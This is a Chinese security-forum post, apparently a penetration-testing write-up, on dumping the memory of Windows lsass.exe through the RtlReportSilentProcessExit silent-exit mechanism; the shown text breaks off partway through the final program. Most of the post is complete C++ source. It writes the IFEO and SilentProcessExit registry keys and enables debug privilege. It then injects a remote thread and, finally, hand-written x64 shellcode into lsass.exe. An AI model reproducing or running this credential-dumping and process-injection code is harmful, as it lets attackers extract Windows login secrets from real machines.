rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.
* Waves v0.7.5
* http://fian.my.id/Waves
*
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
* Released under the MIT license
* https://github.com/fians/Waves/blob/master/LICENSE
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:transl
<body>
<div class="global-nav mb-50">
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container nav">
<div class="visible-xs header-response sf-hidden">
</div>
<div class="row hidden-xs">
<div class="col-sm-8 col-md-8 col-lg-8">
<div class=navbar-header>
<button type=button class="navbar-toggle collapsed sf-hidden" data-toggle=collapse data-target=#global-navbar>
</button>
<div class=logo><a class="navbar-brand logo" href=https://forum.butian.net/></a></div>
</div>
<div class="collapse navbar-collapse" id=global-navbar>
<ul class="nav navbar-nav">
<li><a href=https://forum.butian.net/>首页 <span class=sr-only>(current)</span></a></li>
<li><a href=https://forum.butian.net/questions>问答</a></li>
<li><a href=https://forum.butian.net/shop>商城</a></li>
<li><a href=https://forum.butian.net/community>实战攻防技术</a></li>
<li><a href=https://forum.butian.net/movable>活动</a></li>
<li><a href=https://forum.butian.net/questions/Play>摸鱼办</a>
</li>
</ul>
<form role=search id=top-search-form action=https://forum.butian.net/search method=GET class="navbar-form hidden-sm hidden-xs pull-right">
<span class="btn btn-link"><span class=sr-only>搜索</span><span class="glyphicon glyphicon-search"></span></span>
<input type=text name=word id=searchBox class=form-control placeholder value>
</form>
</div>
</div>
</div>
</div>
</nav>
</div>
<div class="top-alert mt-60 clearfix text-center">
<!--[if lt IE 9]>
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
</div>
<![endif]-->
</div>
<div class=wrap>
<div class=container>
<div class="row mt-10">
<div class="col-xs-12 col-md-9 main" style=width:100%>
<div class=widget-article>
<h3 class="title word-wrap">静默退出 DUMP LSASS.EXE</h3>
<ul class=taglist-inline>
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/47>渗透测试</a></li>
</ul>
<div class="content mt-10">
<div class="quote mb-20">
</div>
<textarea id=md_view_content style=display:none>RtlReportSilentProcessExit dump Lsass.exe
=========================================
最近学习了一下dump Lsass.exe的方法,看到了一种没见过的
调用RtlReportSilentProcessExit静默退出dump内存
0x01 原理
-------
1. 修改注册表,配置dump保存路径这些
2. 通过RtlReportSilentProcessExit告诉系统正在执行静默退出,但是实际上不会退出
先看一下注册表需要配置什么
```php
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
```
需要在上面的注册表内新建项,这个项的名字需要和进程同名,需要dump lsass.exe就需要创建
```php
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
-GlobalFlag 0x200 启用静默进程退出监测
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
-DumpType 0x02 dump内存的类型
-LocalDumpFolder c:\temp 这是dump后保存的地址
-ReportingMode 0x02 退出执行的操作
```
[![](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-ad3aa4d34d114beaa3126a34778ebf51b2d64beb.png)](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-ad3aa4d34d114beaa3126a34778ebf51b2d64beb.png)
还有启动的值
[![](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-5810132fcbe505cce23caf4b8c466c1d6a8fee78.png)](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-5810132fcbe505cce23caf4b8c466c1d6a8fee78.png)
msdn的地址贴在最后
下面就可以开始写代码了
RtlReportSilentProcessExit可以外部调用也可以通过线程注入到进程内存中,这次着重写线程注入的方法
0x02 外部调用
---------
```C++
#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2
typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);
BOOL EnableDebugPriv() {
HANDLE hToken = NULL;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken)) {
printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;luid)) {
printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &amp;tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL setRelatedRegs(PCWCHAR procName) {
HKEY hkResSubIFEO = NULL;
HKEY hkResSubSPE = NULL;
DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
DWORD reportingMode = MiniDumpWithFullMemory;
DWORD dumpType = LOCAL_DUMP, retstatus = -1;
BOOL ret = FALSE;
PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY) * 2 + lstrlenW(procName) * 2 + 5);
wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName);
PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY) * 2 + lstrlenW(procName) * 2 + 5);
wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);
printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws\n", subkeyIFEO);
printf(" - [DEBUGPRINT] SilentProcessExit: %ws\n", subkeySPE);
do {
// 设置 Image File Execution Options\&lt;ProcessName&gt; 下GlobalFlag键值为0x200
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &amp;hkResSubIFEO))) {
printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
break;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&amp;globalFlag, sizeof(globalFlag)))) {
printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
break;
}
// 设置 SilentProcessExit\&lt;ProcessName&gt; 下 ReporingMode/LocalDumpFolder/DumpType 三个值
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &amp;hkResSubSPE))) {
printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
break;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&amp;reportingMode, sizeof(reportingMode)))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER) * 2))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&amp;dumpType, sizeof(dumpType)))) {
printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
break;
}
printf(" - 注册表设置完成 ...\n");
ret = TRUE;
} while (FALSE);
free(subkeyIFEO);
free(subkeySPE);
if (hkResSubIFEO)
CloseHandle(hkResSubIFEO);
if (hkResSubSPE)
CloseHandle(hkResSubSPE);
return ret;
}
DWORD getPidByName(PCWCHAR procName) {
HANDLE hProcSnapshot;
DWORD retPid = -1;
hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe;
if (INVALID_HANDLE_VALUE == hProcSnapshot) {
printf(" - 创建快照失败!\n");
return -1;
}
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32First(hProcSnapshot, &amp;pe)) {
printf(" - Process32First Error : %#X\n", GetLastError());
return -1;
}
do {
if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} while (Process32Next(hProcSnapshot, &amp;pe));
CloseHandle(hProcSnapshot);
return retPid;
}
INT main() {
PCWCHAR targetProcName = L"lsass.exe";
DWORD pid = -1;
HMODULE hNtMod = NULL;
fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
HANDLE hLsassProc = NULL;
NTSTATUS ntStatus = -1;
if (!EnableDebugPriv()) {
printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
return 1;
}
printf(" - 启用当前进程DEBUG权限 OK\n");
if (!setRelatedRegs(targetProcName)) {
printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
return 1;
}
printf(" - 设置相关注册表键值 OK\n");
pid = getPidByName(targetProcName);
if (-1 == pid) {
printf(" - 获取目标进程pid: %#X\n", pid);
return 1;
}
printf(" - 获取目标PID: %#X\n", pid);
do
{
hNtMod = GetModuleHandle(L"ntdll.dll");
if (!hNtMod) {
printf(" - 获取NTDLL模块句柄失败\n");
break;
}
printf(" - NTDLL模块句柄: %#X\n", (DWORD)hNtMod);
fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
if (!fnRtlReportSilentProcessExit) {
printf(" - 获取API RtlReportSilentProcessExit地址失败\n");
break;
}
printf(" - RtlReportSilentProcessExit地址: %#X\n", (DWORD)fnRtlReportSilentProcessExit);
hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, 0, pid);
if (!hLsassProc) {
printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
break;
}
printf(" - 获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);
ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);
} while (false);
if (hNtMod)
CloseHandle(hNtMod);
if (fnRtlReportSilentProcessExit)
CloseHandle(fnRtlReportSilentProcessExit);
if (hLsassProc)
CloseHandle(hLsassProc);
if (fnRtlReportSilentProcessExit)
fnRtlReportSilentProcessExit = NULL;
return 0;
}
```
修改注册表-&amp;gt;开启DEBUG权限-&amp;gt;遍历LSASS.EXE pid-&amp;gt;得到RtlReportSilentProcessExit函数指针-&amp;gt;执行RtlReportSilentProcessExit静默退出
最后会在指定的目录下生成一个文件夹,存放dump的内存
但是用这个方法会出现
[![](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-aba05da63cc44c6e4cc9f044c4381112a256119c.png)](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-aba05da63cc44c6e4cc9f044c4381112a256119c.png)
把执行的进程也dump出来,问题是不大就是有点不美观
所以想尝试线程注入的方式
0x03 线程注入
---------
### ThreadProc
之前写线程注入的时候写过,CreateRemoteThread第四个参数是函数,第五个参数是函数的参数
注意使用CreateThread创建线程的时候可以直接使用函数
使用CreateRemoteThread需要传入函数指针调用函数
```c++
#include&lt;stdio.h&gt;
#include&lt;Windows.h&gt;
#include&lt;tlhelp32.h&gt;
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);
typedef struct Rtl {
HANDLE GCP; //参数
FARPROC dwRtlReportSilentProcessExit; //函数地址
} RtlReportParam;
DWORD WINAPI threadProc(LPVOID lParam)//线程函数
{
fRtlReportSilentProcessExit RtlReportSilentProcessExit; //声明函数
RtlReportPar am* pRP = (RtlReportParam*)lParam; //将指针转换为结构指针
RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP-&gt;dwRtlReportSilentProcessExit; //取出函数指针
RtlReportSilentProcessExit(pRP-&gt;GCP, 0); //调用函数
return 0;
}
DWORD getPidByName(PCWCHAR procName) { //获取进程PID
HANDLE hProcSnapshot;
DWORD retPid = -1;
hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe;
if (INVALID_HANDLE_VALUE == hProcSnapshot) {
printf(" - 创建快照失败!\n");
return -1;
}
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32First(hProcSnapshot, &amp;pe)) {
printf(" - Process32First Error : %#X\n", GetLastError());
return -1;
}
do {
if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} while (Process32Next(hProcSnapshot, &amp;pe));
CloseHandle(hProcSnapshot);
return retPid;
}
void main()
{
DWORD dwSize = 4096;
PCWCHAR targetProcName = L"lsass.exe";
int pid = getPidByName(targetProcName);
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
//把ThreadProcx写入内存
LPVOID base_address = VirtualAllocEx(notepad, 0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("function_address: %p\n", base_address);
BOOL res = WriteProcessMemory(notepad, base_address, &amp;threadProc, dwSize, 0);
​
//获取函数地址和参数,传到结构里面并写入注入进程的内存
​ RtlReportParam RtlReportParamData;
​ ZeroMemory(&amp;RtlReportParamData, sizeof(RtlReportParam));
​ RtlReportParamData.dwRtlReportSilentProcessExit = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlReportSilentProcessExit");
​ RtlReportParamData.GCP = GetCurrentProcess();
LPVOID pRemoteParam = VirtualAllocEx(notepad, 0, sizeof(RtlReportParamData), MEM_COMMIT, PAGE_READWRITE);
printf("Param: %p", RtlReportParamData.dwRtlReportSilentProcessExit);
WriteProcessMemory(notepad, pRemoteParam, &amp;RtlReportParamData, sizeof(RtlReportParamData), 0);
DWORD dwWriteBytes;
//执行函数
HANDLE hRemoteThread = CreateRemoteThread(
notepad, NULL, 0, (DWORD(WINAPI*)(void*))base_address,
pRemoteParam, CREATE_SUSPENDED, &amp;dwWriteBytes);
ResumeThread(hRemoteThread);
}
```
这里没写注册表,就是个测试文件,但是很不稳定所以就想写个shellcode这样函数的调用会很清楚
### 编写64位shellcode
以前写过32位的shellcode,其实差不多,需要注意的是64位的指针是八个字节的
### VisualStudio x64汇编
VistualStudio x64不支持\_\_asm,需要配置一下才能执行汇编
右键项目-&amp;gt;生成依赖项-&amp;gt;生成自定义
[![](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-0d51549932d7f69096c0a2849f192dd6d0818a00.png)](https://shs3.b.qianxin.com/attack_forum/2021/11/attach-0d51549932d7f69096c0a2849f192dd6d0818a00.png)
勾选masm,新建一个asm文件,就可以开始写汇编了
写完之后需要在cpp文件里面声明函数,函数名要和汇编内一样
```C++
#include&lt;stdio.h&gt;
extern "C" void func();
int main() {
func();
return 0;
}
```
现在就可以开始编写shellcode了
### 64位shellcode
在64位中指针有8个字节,所以有些偏移需要改一下
下面是汇编文件
```asm
.DATA ;数据段
.CODE ;代码段
func PROC ;定义函数,函数名和cpp文件内声明函数一样
mov rdx,gs:[60h] ;64位PEB地址
mov rbx, [rdx+18h] ;Ldr
mov rsi, [rbx+28h] ;InMemoryOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rsi,[rsi] ;找到ntdll.dll的LDR_DATA_TABLE_ENTRY
mov rbx, [rsi+20h] ;ntdll.dll的基址
mov edx, [rbx+3Ch] ;e_lfanew偏移
add rdx, rbx ;e_lfanew
mov edx, [rdx+88h] ;VirtualAddress偏移
add rdx, rbx ;VirtualAddress
mov esi, [rdx+20h] ;AddressOfNames偏移
add rsi, rbx ;AddressOfNames
xor rcx,rcx ;rcx置零
Get_Function:
inc rcx
lodsd
add rax,rbx
cmp dword ptr [rax], 526c7452h
jnz Get_Function
cmp dword ptr [rax+4], 726f7065h
jnz Get_Function
cmp dword ptr [rax+8], 6c695374h
jnz Get_Function
;找到RtlReportSilentProcessExit名称地址
mov esi, [rdx+24h]
add rsi, rbx
mov cx, [rsi + rcx * 2]
dec rcx
mov esi, [rdx+1ch]
add rsi, rbx
mov edx, [rsi + rcx * 4]
add rdx, rbx
mov rbx, rdx
;这里都和32位差不多
mov rcx, -1 ;-1代表当前进程句柄,因为需要注入到进程在那个进程就是当前进程
mov rdx, 0 ;第二个参数
call rbx ;执行RtlReportSilentProcessExit
ret
func ENDP;
END
```
用脚本提取一下shellcode在32位文章里面有写过
把原来的代码修改一下
```c++
#include &lt;Windows.h&gt;
#include &lt;tlhelp32.h&gt;
#include &lt;stdio.h&gt;
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"c:\\windows\\temp"
#define MiniDumpWithFullMemory 0x2
BOOL EnableDebugPriv() {
HANDLE hToken = NULL;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken)) {
printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;luid)) {
printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
return FALSE;
}
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &amp;tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
return FALSE;
}
return TRUE;
}
BOOL setRelatedRegs(PCWCHAR procName) {
HKEY hkResSubIFEO = NULL;
HKEY hkResSubSPE = NULL;
DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
DWORD reportingMode = MiniDumpWithFullMemory;
DWORD dumpType = LOCAL_DUMP, retstatus = -1;
BOOL ret = FALSE;
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, IFEO_REG_KEY, &amp;hkResSubIFEO))) {
printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
return -1;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&amp;globalFlag, sizeof(globalFlag)))) {
printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
return -1;
}
if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, SILENT_PROCESS_EXIT_REG_KEY, &amp;hkResSubSPE))) {
printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
return -1;
}
if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&amp;reportingMode, sizeof(reportingMode)))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER) * 2))
|| ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&amp;dumpType, sizeof(dumpType)))) {
printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
return -1;
}
printf("[+]注册表设置完成 ...\n");
ret = TRUE;
if (hkResSubIFEO)
CloseHandle(hkResSubIFEO);
if (hkResSubSPE)
CloseHandle(hkResSubSPE);
return ret;
}
DWORD getPidByName(PCWCHAR procName) {
HANDLE hProcSnapshot;
DWORD retPid = -1;
hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe;
if (INVALID_HANDLE_VALUE == hProcSnapshot) {
printf(" - 创建快照失败!\n");
return -1;
}
pe.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32First(hProcSnapshot, &amp;pe)) {
printf(" - Process32First Error : %#X\n", GetLastError());
return -1;
}
do {
if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
retPid = pe.th32ProcessID;
}
} while (Process32Next(hProcSnapshot, &amp;pe));
CloseHandle(hProcSnapshot);
return retPid;
}
typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(
HANDLE processHandle,
NTSTATUS ExitStatus
);
typedef struct _RtlReportSilentProcessExitParam {
HANDLE GCP;
FARPROC dwRtlReportSilentProcessExit;
} RtlReportSilentProcessExitParam;
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
fRtlReportSilentProcessExit RtlReportSilentProcessExit;
RtlReportSilentProcessExitParam* pRP = (RtlReportSilentProcessExitParam*)lpParameter;
RtlReportSilentProcessExit = (fRtlReportSilentProcessExit)pRP-&gt;dwRtlReportSilentProcessExit;
RtlReportSilentProcessExit(pRP-&gt;GCP, 0);
return 0;
}
INT main() {
NTSTATUS ntStatus = -1;
HMODULE hNtMod = NULL;
PCWCHAR targetProcName = L"lsass.exe";
DWORD pid = -1;
HANDLE hLsassProc = NULL;
DWORD dwSize = 4096;
char sc[] = "\x65\x48\x8B\x14\x25\x60\x00\x00\x00\x48\x8B\x5A\x18\x48\x8B\x73\x28\x48\x8B\x36\x48\x8B\x36\x48\x8B\x36\x48\x8B\x5E\x20\x8B\x53\x3C\x48\x03\xD3\x8B\x92\x88\x00\x00\x00\x48\x03\xD3\x8B\x72\x20\x48\x03\xF3\x48\x33\xC9\x48\xFF\xC1\xAD\x48\x03\xC3\x81\x38\x52\x74\x6C\x52\x75\xF1\x81\x78\x04\x65\x70\x6F\x72\x75\xE8\x81\x78\x08\x74\x53\x69\x6C\x75\xDF\x8B\x72\x24\x48\x03\xF3\x66\x8B\x0C\x4E\x48\xFF\xC9\x8B\x72\x1C\x48\x03\xF3\x8B\x14\x8E\x48\x03\xD3\x48\x8B\xDA\x48\xC7\xC1\xFF\xFF\xFF\xFF\x48\xC7\xC2\x00\x00\x00\x00\xFF\xD3\xC3";
if (!EnableDebugPriv()) {
printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
return 1;
}
printf("[+]启用当前进程DEBUG权限 OK\n");
if (!setRelatedRegs(targetProcName)) {
printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
return 1;
}
printf("[+]设置相关注册表键值 OK\n");
pid = getPidByName(targetProcName);
if (-1 == pid) {
printf(" - 获取目标进程pid: %#X\n", pid);
return 1;
}
printf("[+]获取目标PID: %#X\n", pid);
hLsassProc = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (!hLsassProc) {
printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
return -1;
}
printf("[+]获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);
LPVOID base_address = VirtualAllocEx(hLsassProc, 0, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (base_address == 0) {
printf("[-]获取地址失败 ERRORCODE: %d", GetLastError());
return -1;
}
printf("[+]获取地址成功: %p\n", base_address);
BOOL res = WriteProcessMemory(hLsassProc, base_address, &amp;sc, sizeof(sc), 0);
if (!res) {
printf("[-]写入函数失败\n");
return -1;
}
